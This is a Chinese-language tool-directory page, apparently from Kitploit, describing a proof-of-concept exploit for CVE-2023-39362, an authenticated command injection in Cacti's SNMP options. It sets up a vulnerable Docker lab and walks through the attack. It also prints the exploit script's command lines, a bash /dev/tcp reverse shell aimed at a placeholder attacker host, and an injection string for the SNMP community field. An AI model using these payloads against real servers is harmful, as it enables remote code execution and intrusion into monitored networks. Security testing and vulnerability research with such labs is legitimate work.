Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-39362-cacti-snmp-command-injection-poc — CVE-2023-39362 的概念验证漏洞利用程序,针对 Cacti SNMP 选项中的已认证命令注入漏洞。包含用于测试的易受攻击 Docker 环境,以及一个具备反弹 Shell 功能、用于自动化利用的 Python 脚本。 | Kitploit
工具/GitHubGitHub/jakabakos/cve-2023-39362-cacti-snmp-command-injection-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队实验室与实践
GitHubjakabakos/cve-2023-39362-cacti-snmp-command-injection-poc

CVE-2023-39362-cacti-snmp-command-injection-poc

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

CVE-2023-39362 的概念验证漏洞利用程序,针对 Cacti SNMP 选项中的已认证命令注入漏洞。包含用于测试的易受攻击 Docker 环境,以及一个具备反弹 Shell 功能、用于自动化利用的 Python 脚本。

查看仓库
242年前尚未审核
分享

Cacti 中的命令注入漏洞(CVE-2023-39362)- PoC

此仓库从以下仓库 fork 而来: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application

Cacti 是一个开源的操作监控和故障管理框架,并不断演进以满足其用户社区的动态需求。

在 1.2.24 版本中,发现了一个被标记为 CVE-2023-39362 的潜在安全漏洞。在特定条件下,经过身份验证的特权用户可以利用 Device(设备)SNMP 选项中的一个缺陷,使用恶意字符串导致命令注入。这种利用会导致在底层服务器上以经过身份验证的方式执行远程代码。

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362

此漏洞的影响十分严重,因为具有经过身份验证权限的恶意行为者可能会破坏托管 Cacti 的服务器的完整性。这种破坏可能成为未经授权访问网络中其他主机的入口,尤其是那些由 Cacti 监控的主机。

这是一个用于测试 Cacti 漏洞(CVE-2023-39362)利用程序的可漏洞应用。

警告!

此应用包含严重的安全漏洞。使用风险自负!建议在具有备份且受保护的环境(例如带有近期快照和仅主机网络的虚拟机)中运行。请勿将此应用上传到任何面向 Internet 的服务器,否则它们将被入侵。

免责声明

我不对任何人使用此应用的方式承担责任。此应用的唯一用途是作为 CVE-2023-39362 漏洞利用程序的测试场景,不应将其用于恶意目的。如果你的服务器因安装此应用而被入侵,这不是我的责任,而是上传并安装它的人的责任。**

使用方法

1. 搭建环境

以下是搭建环境的步骤:

  1. 运行 docker compose up -d 启动编排。
  • 你可以通过浏览到 http://127.0.0.1/cacti 来完成后续步骤,以启动 Cacti 初始化向导。如果遇到与数据库相关的错误,请稍等片刻然后刷新页面。
  • 默认凭据为 admin/admin。
  • 在向导过程中,对所有按钮点击“Next”(下一步),并相应地选择选项。所有默认选项应该都没问题,所有必需的先决条件都应得到满足。
  • 安装完成后,以 admin 身份登录。
  • 转到“Console”(控制台)>“Configuration”(配置)>“User”(用户)。
  • 点击 guest 用户。
  • “Enable”(启用)它,设置一个密码,如果需要,可以禁用“Must Change Password at Next Login”(下次登录时必须更改密码)。
  • 点击“Save”(保存)按钮。
  • 转到“Permissions”(权限)部分。
  • 在“General Administration”(常规管理)下,启用“Console Access”(控制台访问)和“Sites/Devices/Data”(站点/设备/数据)。
  • 点击“Save”(保存)按钮。
  • 注销并以 guest 身份重新登录以尝试该漏洞利用程序。
  • Cacti 的官方安装指南可以在此处找到。

    要拆除环境,请使用 docker compose down 命令。

    2. 运行漏洞利用脚本

    (这只是利用的一种可能路径)

    在远程服务器上运行命令:

    root@kitploit:~
    python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
    

    打开反向 shell:

    root@kitploit:~
    nc -lvnp 4242
    
    python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
    

    3. 手动利用

    1. 转到“Console”(控制台)>“Create”(创建)>“New Device”(新建设备)。
    2. 创建一个支持 SNMP 版本 1 或 2 的设备。
    3. 确保该设备具有一个或多个以下模板的 Graphs(图形):
      • “Net-SNMP - Combined SCSI Disk Bytes”
      • “Net-SNMP - Combined SCSI Disk I/O”
      • (从模板“Net-SNMP Device”创建设备将满足 Graphs 的先决条件)
    4. 在“SNMP Options”(SNMP 选项)中,对于“SNMP Community String”(SNMP 团体字符串)字段,使用类似这样的值:public\' ; touch /tmp/proof ; \'。
    5. 点击“Create”(创建)按钮。
    6. 检查 /tmp 下是否存在所创建的文件。

    要获得反向 shell,可以使用如下所示的 payload(攻击载荷)。

    root@kitploit:~
    public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
    

    根本原因

    有关该漏洞的详细根本原因,请参阅原始安全公告或原始作者的博客文章。

    作者

    • Antonio Francesco Sardella - 漏洞报告者 - m3ssap0
    • Akos Jakab - 通过 Python 脚本自动化利用过程 - jakabakos

    许可证

    本项目采用 Unlicense 许可证授权 - 有关详细信息,请参阅 LICENSE 文件。

    下载工具